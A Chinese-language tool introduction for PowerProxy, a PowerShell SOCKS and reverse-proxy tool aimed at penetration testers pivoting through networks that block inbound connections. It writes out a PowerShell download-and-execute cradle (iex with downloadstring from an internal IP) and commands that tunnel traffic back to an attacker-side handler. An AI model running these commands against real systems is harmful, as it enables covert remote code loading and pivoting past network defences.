
關於PowerProxyPowerProxy是一款功能強大的PowerShell Socks代理工具,該工具帶有反向代理功能,可以幫助廣大安全研究人員更加輕鬆地完成某些特定場景下的滲透測試任務。PowerProxy專為滲透測試人員設計,在遍歷阻止入站連接的網絡時,反向代理功能肯定是要優先考慮的。在默認情況下,反向代理連接會經過加密處理,而Socks5連接也支持基於用戶名和密碼的身份驗證。工具下載廣大研究人員可以使用下列命令將該項目源碼克隆至本地:git clone https://github.com/get-get-get-get/PowerProxy.git
工具配置我們可以使用下列命令導入PowerProxy腳本:iex (new-object net.webclient).downloadstring("http://192.168.0.22/PowerProxy.ps1")
Import-Module \\192.168.0.22\Public\PowerProxy.ps1
其中,reverse_proxy_handler.py能夠創建臨時SSL證書,此功能需要使用到OpenSSL。如果你的設備上沒有安裝OpenSSL的話,這需要使用你自己的證書,或者使用「--no-encrypt」選項,不過大多數Linux或類Unix系統默認都會安裝有OpenSSL。工具使用查看工具幫助信息./reverse_proxy_handler.py --help運行一個反向代理在本地設備上,使用下列命令開啟一個Handler,此時Handler將會監聽端口8080上的反向代理,客戶端默認將連接至端口1080:./reverse_proxy_handler.py -p 8080
接下來,在PowerShell窗口中,運行下列命令:Start-ReverseSocksProxy 172.1.1.20 -Port 8080
代理客戶端此時會將reverse_proxy_handler.py腳本創建的服務器當作實際的Socks服務器對待:curl --socks4 127.0.0.1:1080 http://10.10.2.69/
運行一台傳統意義上的Socks服務器Start-SocksProxy 172.10.2.20 -Port 9050開啟身份驗證我們可以使用PSCredential對象來要求用戶在連接時提供正確的用戶名和密碼:# 創建憑證$Password = ConvertTo-SecureString -AsPlaintext -Force "Passw0rd123"$Cred = New-Object System.Management.Automation.PSCredential ("ProxyUser", $Password) Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose
工具限制3、reverse_proxy_handler.py僅在類Unix系統上進行過測試,不確定是否支持Windows系統;許可證協議本項目的開發與發布遵循GPL-3.0開源許可證協議。項目地址https://github.com/get-get-get-get/PowerProxy